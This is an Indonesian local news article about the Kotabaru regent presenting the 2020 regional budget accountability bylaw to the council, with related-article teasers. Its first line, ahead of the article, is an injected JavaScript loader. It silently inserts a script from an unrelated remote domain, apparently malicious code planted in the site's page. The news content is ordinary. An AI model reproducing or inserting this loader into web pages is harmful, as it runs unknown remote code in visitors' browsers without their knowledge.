(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Bupati Kotabaru H Sayed Jafar menyampaikan laporan akhir proses pembahasan Raperda tentang pertanggungjawaban pelaksanaan Anggaran Pendapatan Belanja Daerah (APBD) tahun anggaran 2020 di ruang paripurna lantai III DPRD Kotabaru, Senin (5/07/2021).
“Kami akan segera memperbaiki dan menyelesaikannya sesuai dengan masukan dan pendapat ketua dan anggota DPRD untuk kepentingan masyarakat,” ucapnya.
Sebelumnya, setelah melakukan pembahasan Raperda penyusunan pelaksanaan APBD tahun 2020 antara Pemerintah Kabupaten Kotabaru dengan Dewan Perwakilan Rakyat Daerah (DPRD) Kotabaru, banyak ditemui poin-poin yang menjadi perhatian dan perlu perbaikan.
Dalam rapat paripurna itu Sayed Jafar juga mengucapkan terima kasih atas kerja keras yang sudah dilakukan ketua dan anggota DPRD Kotabaru dalam membahas Raperda tentang pertanggungjawaban pelaksanaan APBD tahun 2020 yang sudah menerima dan menyetujui hingga dapat disahkan pada paripurna.
Dari persetujuan bersama ini nantinya disampaikan kepada Gubernur Kalimantan Selatan untuk dievaluasi sesuai amanat perundang undangan meliputi, aspek teknis, aspek material, dan aspek legalitas, agar bisa ditetapkan sebagai Peraturan daerah (Perda).
“Alhamdulillah, atas apresiasi, saran, dan masukan dari DPRD sehingga Pemkab Kotabaru bisa mempertahankan opini Wajar Tanpa Pengecualian (WTP) enam kali berturut turut,” ucap bupati.
Baca juga: Silaturahmi Literasi ke Kediaman Guru Kapuh
Bupati juga menyatakan siap menerima segala kritik, evaluasi, dan sumbang saran yang konstruktif dari ketua bersama anggota DPRD Kotabaru untuk bisa memperbaiki penyelenggaraan Pemkab Kotabaru yang lebih baik dan tetap bisa mempertahankan WTP pada tahun tahun berikutnya.
Dalam laporan akhir proses pembahasan atas satu buah Raperda tentang pertanggungjawaban pelaksanaan APBD tahun 2020 yang dibacakan Wakil Ketua DPRD M Arif, menyatakan bahwa DPRD Kotabaru menyetujuinya untuk bisa dijadikan Perda. (kanalkalimantan.com/hms)
Reporter: hms
Editor: Dhani
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.